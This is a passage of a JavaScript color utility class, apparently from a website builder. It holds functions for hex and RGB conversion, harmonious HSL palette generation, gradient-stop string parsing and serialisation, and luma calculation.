    const regex = new RegExp(`(.{${value.length / 3}})`, 'g');// split string into 3 parts

    value = value.match(regex);

    if (! isNull(value)) {
      for (let i = 0; i < value.length; i++) {
        // check for short notation of channel color value
        const channel = 1 === value[i].length ? value[i] + value[i] : value[i];
        value[i]      = parseInt(channel, 16);
      }

      result = value;
    }

    return result;
  }

  /**
   * Converts RGB color to 6-digit HEX format.
   *
   * Assumes color is passed as a separate r, g and b values between 0 and 255.
   *
   * @param {number} r Red color value.
   * @param {number} g Green color value.
   * @param {number} b Blue color value.
   * @returns {string} 6-digit HEX value.
   */
  static rgbToHex(r, g, b) {
    const red   = `0${r.toString(16)}`;
    const green = `0${g.toString(16)}`;
    const blue  = `0${b.toString(16)}`;

    return `#${red.slice(- 2)}${green.slice(- 2)}${blue.slice(- 2)}`;
  }

  /**
   * Generates array of 8 harmonious colors including base color.
   *
   * Assumes base color is passed in HSL values. Like hue = 195, saturation = 15, lightness = 95.
   *
   * @param {number} h Hue value in degrees.
   * @param {number} s Saturation value in percentage.
   * @param {number} l Lightness value.
   * @returns {Array} Colors in HSL array format.
   */
  static generateHarmoniousColors(h, s, l) {
    let maths    = conversionMaths.common;
    const result = [];

    if (0 === l) { // pure black
      maths = conversionMaths.black;
    } else if (100 === l) { // pure white
      maths = conversionMaths.white;
    }

    forEach(maths, formula => {
      // constraints for h, s and l values.
      // h is angle in degrees so use modulo 360
      const hNew = (h + formula.h) % 360;

      // s and l are values between 0 and 100 percent
      const sNew  = Math.min(Math.max(s + formula.s, 0), 100);
      const lNew  = Math.min(Math.max(l + formula.l, 0), 100);
      const color = [hNew, sNew, lNew];
      result.push(color);
    });

    return result;
  }

  /**
   * Converts the gradient stops attribute from string to array of gradient stop objects.
   *
   * @typedef {object} GradientStop
   * @property {string} color The gradient stop color.
   * @property {number} percent The gradient stop position in percent.
   * @property {number} index The gradient stop position in order.
   * @property {string} uuidv4 A unique identifier for the gradient stop.
   *
   * @param {string} gradient The gradient stops string.
   *
   * @returns {GradientStop[]} Converted value as array.
   */
  static parseGradientString(gradient) {
    const stops = gradient.split('|');

    const gradientStops = stops.map((stop, index) => {
      stop = stop.trim().split(' ');

      // Take all but the final value and recombine. (Needed for non-hex colors.)
      const color = stop.slice(0, -1).join(' ');

      // Extract the final array value (position) and split into integer and unit.
      const position      = Number.parseInt(stop.slice(-1), 10);
      const cleanPosition = Number.isNaN(position) ? 0 : position;
      // Exclude the substring captured for `position` and set the rest as unit.
      const unit          = stop.slice(-1)[0].substring(Number.isNaN(position) ? 0 : position.toString().length);
      const cleanUnit = ! includes(this.validUnits, unit) ? '%' : unit;

      return new GradientStop(color, cleanPosition, index, uuidv4(), cleanUnit);
    });

    return gradientStops;
  }

  /**
   * Converts the gradient stops array into string notation.
   *
   * @typedef {object} GradientStop
   * @property {string} color The gradient stop color.
   * @property {number} position The gradient stop position (0-100).
   *
   * @param {GradientStop[]} stops The gradient stops array.
   * @param {boolean} convertGCID Whether to pass a GCID as-is or convert it to its CSS color code.
   *
   * @returns {string} Converted value as array.
   */
  static toGradientString(stops, convertGCID = false) {
    return stops.map(({ color, position, unit }) => {
      const colorValue = convertGCID ? ETBuilderGlobalColorsStore.getColorValue(color) || color : color;
      return `${colorValue} ${position}${unit}`;
    }).join('|');
  }

  /**
   * Calculates color Luma.
   * See http://en.wikipedia.org/wiki/Luma_%28video%29.
   *
   * @param {number} r Red color value.
   * @param {number} g Gree color value.
   * @param {number} b Blue color value.
   *
   * @returns {number} Luma value.
   */
  static luma(r, g, b) {
    return 0.2126 * r + 0.7152 * g + 0.0722 * b;
  }
}

export default ETBuilderUtilsColor;